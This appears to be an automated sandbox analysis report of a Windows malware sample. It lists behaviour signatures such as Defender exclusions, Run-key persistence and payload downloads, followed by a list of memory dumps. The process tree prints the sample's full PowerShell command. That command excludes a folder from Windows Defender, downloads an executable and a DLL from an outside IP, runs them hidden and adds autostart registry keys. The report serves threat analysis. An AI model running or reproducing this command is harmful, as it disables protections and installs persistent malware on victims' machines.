Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
22/05/2026, 11:00
General
- Target z1DOC-6681673-708018947.exe
- Size 246KB
- Sample260522-m4felsht3k
- SHA256 55db75449ac68bd35e56ee3bf300f7ebbcb80484cce57e523b583d49d0c85a99
Malware Config
Signatures
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Downloads MZ/PE file 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\z1DOC-6681673-708018947.exe"C:\Users\Admin\AppData\Local\Temp\z1DOC-6681673-708018947.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Add-MpPreference -ExclusionPath 'C:\ProgramData\MSDefender'; mkdir 'C:\ProgramData\MSDefender'; curl -Uri 'http://177.136.230.88/modulo/Flexpcis.exe' -OutFile 'C:\ProgramData\MSDefender\Flexpcis.exe'; curl -Uri 'http://177.136.230.88/modulo/Drivespan.dll' -OutFile 'C:\ProgramData\MSDefender\Drivespan.dll'; Start-Process -FilePath 'C:\ProgramData\MSDefender\Flexpcis.exe' -WindowStyle Hidden; $exePath = 'C:\ProgramData\MSDefender\Flexpcis.exe'; Set-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force; Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'WindowsService' -Value $exePath -Force2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Downloads MZ/PE file
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_4tuacmad.occ.ps1
memory/772-27-0x0000000006740000-0x000000000675E000-memory.dmp
memory/772-29-0x0000000007AB0000-0x000000000812A000-memory.dmp
memory/772-3-0x0000000005300000-0x000000000592A000-memory.dmp
memory/772-4-0x00000000059A0000-0x00000000059C2000-memory.dmp
memory/772-5-0x0000000005A40000-0x0000000005AA6000-memory.dmp
memory/772-6-0x0000000005AB0000-0x0000000005B16000-memory.dmp
memory/772-1-0x0000000004C90000-0x0000000004CC6000-memory.dmp
memory/772-13-0x0000000005BE0000-0x0000000005F37000-memory.dmp
memory/772-28-0x0000000007380000-0x0000000007424000-memory.dmp
memory/772-15-0x0000000006140000-0x000000000618C000-memory.dmp
memory/772-16-0x000000007FD70000-0x000000007FD80000-memory.dmp
memory/772-17-0x00000000066C0000-0x00000000066F4000-memory.dmp
memory/772-18-0x0000000070B70000-0x0000000070BBC000-memory.dmp
memory/772-26-0x0000000000F90000-0x0000000000FA0000-memory.dmp
memory/772-2-0x0000000000F90000-0x0000000000FA0000-memory.dmp
memory/772-25-0x0000000000F90000-0x0000000000FA0000-memory.dmp
memory/772-14-0x0000000006110000-0x000000000612E000-memory.dmp
memory/772-0-0x0000000000F90000-0x0000000000FA0000-memory.dmp
memory/772-30-0x0000000007470000-0x000000000748A000-memory.dmp
memory/772-31-0x00000000074E0000-0x00000000074EA000-memory.dmp
memory/772-32-0x0000000007710000-0x00000000077A6000-memory.dmp
memory/772-33-0x0000000007680000-0x0000000007691000-memory.dmp
memory/772-34-0x00000000076B0000-0x00000000076BE000-memory.dmp
memory/772-35-0x00000000076C0000-0x00000000076D5000-memory.dmp
memory/772-36-0x00000000077B0000-0x00000000077CA000-memory.dmp
memory/772-37-0x0000000007700000-0x0000000007708000-memory.dmp
memory/772-38-0x0000000007800000-0x0000000007822000-memory.dmp
memory/772-39-0x00000000086E0000-0x0000000008C86000-memory.dmp
memory/772-40-0x0000000000F90000-0x0000000000FA0000-memory.dmp
memory/772-41-0x000000007FD70000-0x000000007FD80000-memory.dmp
memory/772-43-0x0000000000F90000-0x0000000000FA0000-memory.dmp
memory/772-42-0x0000000000F90000-0x0000000000FA0000-memory.dmp